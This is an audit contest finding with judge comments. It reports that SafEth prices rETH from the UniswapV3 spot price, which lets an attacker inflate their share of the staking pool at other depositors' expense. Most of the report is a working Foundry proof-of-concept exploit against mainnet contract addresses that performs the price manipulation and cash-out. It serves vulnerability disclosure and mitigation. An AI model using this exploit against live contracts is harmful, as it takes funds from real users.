Spot UniswapV3 pricing for rETH when staking in SafEth can lead to loss of user funds

[code423n4]

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63-L101 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L170-L185 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L215 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L228-L242

Vulnerability details

Impact

An attacker can craft a set of transactions so that when they are depositing funds in the SafEth contract, using the stake() function, they can understate the value of existing deposits (preDepositPrice value), while overstating the value of their deposit (totalStakeValueEth value). This vulnerability happens because of how ethPerDerivative(..) is calculated for rETH. Specifically, if users cannot deposit directly into the rETH contract, then the Reth logic will revert to pricing rETH using the UniswapV3 pool spot price, and also the call to deposit() will result in swapping through the same UniswapV3 pool.

To take advantage of this, an attacker can first decrease the spot price of rETH in the pool, which will result in a lower preDepositPrice value when the attacker calls the stake() function of the SafEth contract. Then, later in the same call when deposit() is called for the rETH staking derivative, it will get rETH by swapping ETH -> rETH in the UniswapV3 pool. This swapping will increase the value of the rETH that was received by the swap. The subsequent ethPerDerivative(..) function call will then award the attacker an excess amount for their deposit, by overstating the value of the received rETH. This is invalid behavior, as the price of rETH should not be changing atomically in the same transaction.

This is medium severity because an attacker is able to drain significant funds from the SafEth contract. However, this can only occur in specific scenarios, based on maxSlippage, whether the rETH contract is accepting deposits, the distribution and depth of the UniswapV3 liquidity.

Proof of Concept

POC including preliminary state and steps (foundry test). This POC was done using block number 16936327:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// utilities
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

// project files
import "../interfaces/rocketpool/RocketStorageInterface.sol";
import "../interfaces/uniswap/IUniswapV3Factory.sol";
import "../interfaces/uniswap/IUniswapV3Pool.sol";
import "../interfaces/uniswap/ISwapRouter.sol";
import "../interfaces/IWETH.sol";

import "../SafEth/SafEth.sol";
import "../SafEth/derivatives/Reth.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";

// using interface to interact w/ proxy contract for simplicity
interface ISafEth {
    function stake() external payable;
    function unstake(uint256 _safEthAmount) external;
    function addDerivative(
        address _contractAddress,
        uint256 _weight
    ) external;
    function balanceOf(address) external returns (uint256);
    function setMaxSlippage(uint _derivativeIndex,uint _slippage) external;
}

/// configuring starting state for showing bug/exploit
contract TestRethPriceManipulation is Test {
    address public constant ROCKET_STORAGE_ADDRESS = 0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46;
    address public constant W_ETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // wrapped ETH address
    address public constant UNISWAP_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    address public constant UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;

    // protocol users
    address admin = makeAddr('admin'); // project admin
    address proxyAdmin = makeAddr('proxyAdmin'); // proxy admin
    // here i am using an attacker address which already holds rETH, in practice you can take 0 fee flashloans from balancer instead
    address attacker = 0x5313b39bf226ced2332C81eB97BB28c6fD50d1a3;
    address user1 = makeAddr('user1'); // other user addresses
    address user2 = makeAddr('user2');

    // protocol contracts
    SafEth safEthLogic; // SafEth logic contract
    Reth rEthLogic; // Reth logic contract
    TransparentUpgradeableProxy safEthProxy; // SafEth proxy contract
    TransparentUpgradeableProxy rEthProxy; // Reth proxy contract

    address rocketTokenRETHAddress;

    /// configuring starting state for showing bug/exploit
    function setUp() public {
        vm.deal(attacker, 200 ether); // will ensure attacker ends up w/ same starting ETH amount, when showing monetary gain
        vm.deal(user1, 200 ether);
        vm.deal(user2, 200 ether);

        // initializing the logic contracts:
        // just using rETH to simplify showing the effects (loss of other user funds to the benefit of attacker)
        vm.prank(admin);
        safEthLogic = new SafEth();
        vm.prank(admin);
        rEthLogic = new Reth();

        // initializing the proxy contracts for rETH, safETH:
        vm.prank(admin);
        safEthProxy = new TransparentUpgradeableProxy(
            address(safEthLogic),admin,
            abi.encodeWithSignature("initialize(string,string)","tokenName","tokenSymbol")
        );
        // change the admin for the proxy b/c TransparentProxy does not allow admin to fallback
        vm.prank(admin);
        safEthProxy.changeAdmin(proxyAdmin);

        vm.prank(admin);
        rEthProxy = new TransparentUpgradeableProxy(
            address(rEthLogic),admin,
            abi.encodeWithSignature("initialize(address)",address(safEthProxy))
        );

        // setting up SafETH such that rETH has 100% weight
        // and simulating users interacting with and staking assets into the protocol
        vm.prank(admin);
        ISafEth(address(safEthProxy)).addDerivative(address(rEthProxy),100);

        vm.prank(user1);
        ISafEth(address(safEthProxy)).stake{value:200 ether}(); // depositing max amount
        vm.prank(user2);
        ISafEth(address(safEthProxy)).stake{value:200 ether}();

        // changing the maxSlippage
        vm.prank(admin);
        ISafEth(address(safEthProxy)).setMaxSlippage(0,(3*10**16));

        console.log( // 399.95e18 safETH across both users
            ISafEth(address(safEthProxy)).balanceOf(user1)+
            ISafEth(address(safEthProxy)).balanceOf(user2)
        );

        // getting the relevent rocketPool addresses
        rocketTokenRETHAddress = RocketStorageInterface(
            ROCKET_STORAGE_ADDRESS
        ).getAddress(
            keccak256(abi.encodePacked("contract.address", "rocketTokenRETH"))
        );

        // 373.46e18 rETH in the rETH proxy contract, after user1 and user2 deposit
        console.log(IERC20(rocketTokenRETHAddress).balanceOf(address(rEthProxy)));
    }

    /// showcasing the bug/exploit
    function testRethPriceManipulation() public {

        // Showcasing the ability of an attacker to steal money from SafETH during certain conditions
        // due to the use of oracle spot pricing in the stake(..) function, which can lead to a difference
        // in the output of the first and second calls to Reth.ethPerDerivative(..), which happens because
        // Reth.deposit(..) can change the spot price when the UniswapV3 pool is being used.
        // An attacker can utilize this attack path multiple times in a row to steal more funds.
        // In practice the below steps would be done in a single transaction.

        // to show the attacker's gains at the end
        uint256 startingAttackerReth = IERC20(rocketTokenRETHAddress).balanceOf(attacker);

        // getting the pool which is being used by the Reth contract
        IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY);
        IUniswapV3Pool pool = IUniswapV3Pool(
            factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500)
        );

        vm.prank(attacker);
        IERC20(rocketTokenRETHAddress).approve(UNISWAP_ROUTER,type(uint).max);

        // attacker crafts swap to decrease value of rETH to lowest levels allowed by `maxSlippage`
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: rocketTokenRETHAddress,
                tokenOut: W_ETH_ADDRESS,
                fee: 500,
                recipient: attacker,
                amountIn: 1632.956 ether, // crafted to stay within slippage threshold
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });

        vm.prank(attacker);
        uint256 amountOut = ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params);

        // with the value of rETH decreased, attacker stakes the max amount. in this call, Reth.deposit(..)
        // of the attackers ETH will push the price of rETH back up in the uniswapV3 pool
        vm.prank(attacker);
        ISafEth(address(safEthProxy)).stake{value:200 ether}();

        // attacker's balance is 212.06e18, which is much more than they should be getting, considering
        // they deposited the same amount as user1 and user2, thus those users are being cheated
        console.log(ISafEth(address(safEthProxy)).balanceOf(attacker));

        // attacker can then cash out of this gain by:
        // 1) swapping the received WETH back into the pool to get rETH, setting the price back to normal
        // 2) unstakes to get ETH for their excess stake
        // 3) swaps all gains for their token of choice (here rETH)

        // swap all the ETH back to rETH to reset price
        vm.prank(attacker);
        IERC20(W_ETH_ADDRESS).approve(UNISWAP_ROUTER,type(uint).max);

        params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: W_ETH_ADDRESS,
                tokenOut: rocketTokenRETHAddress,
                fee: 500,
                recipient: attacker,
                amountIn: IERC20(W_ETH_ADDRESS).balanceOf(attacker),
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });

        vm.prank(attacker);
        ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params);

        // user unstakes to get back ETH in exchange for their excess stake
        vm.prank(attacker);
        uint256 attackerAmount = ISafEth(address(safEthProxy)).balanceOf(attacker);
        vm.prank(attacker);
        ISafEth(address(safEthProxy)).unstake(attackerAmount);

        // attacker swaps back to starting amount of ETH, and gains rETH in the attack
        vm.prank(attacker);
        IWETH(W_ETH_ADDRESS).deposit{value:attacker.balance-200e18}();

        params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: W_ETH_ADDRESS,
                tokenOut: rocketTokenRETHAddress,
                fee: 500,
                recipient: attacker,
                amountIn: IERC20(W_ETH_ADDRESS).balanceOf(attacker),
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });

        vm.prank(attacker);
        ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params);

        // gain of 1.78e18 rETH
        uint256 attackerGain = IERC20(rocketTokenRETHAddress).balanceOf(attacker) - startingAttackerReth;
        console.log("rETH-attacker-gain:",attackerGain);

        // an attacker can perform this attack multiple times in a row for greater gain

        // after the attack there is a loss of ~5 rETH in the SafETH contract, meaning user1 and user2 lost funds
        console.log(IERC20(rocketTokenRETHAddress).balanceOf(address(rEthProxy)));
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

The fix for this exploit is very simple, in that you simply need the ensure that the call to ethPerDerivative(..) for the Reth contract does not change in a single transaction during the call to stake(). For example, you can use the chainlink oracle for rETH instead of the UniswapV3 pool spot price.

[c4-pre-sort]

0xSorryNotSorry marked the issue as high quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #601

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as duplicate of #1125

[c4-judge]

Picodes marked the issue as duplicate of #1125

[c4-judge]

Picodes changed the severity to 3 (High Risk)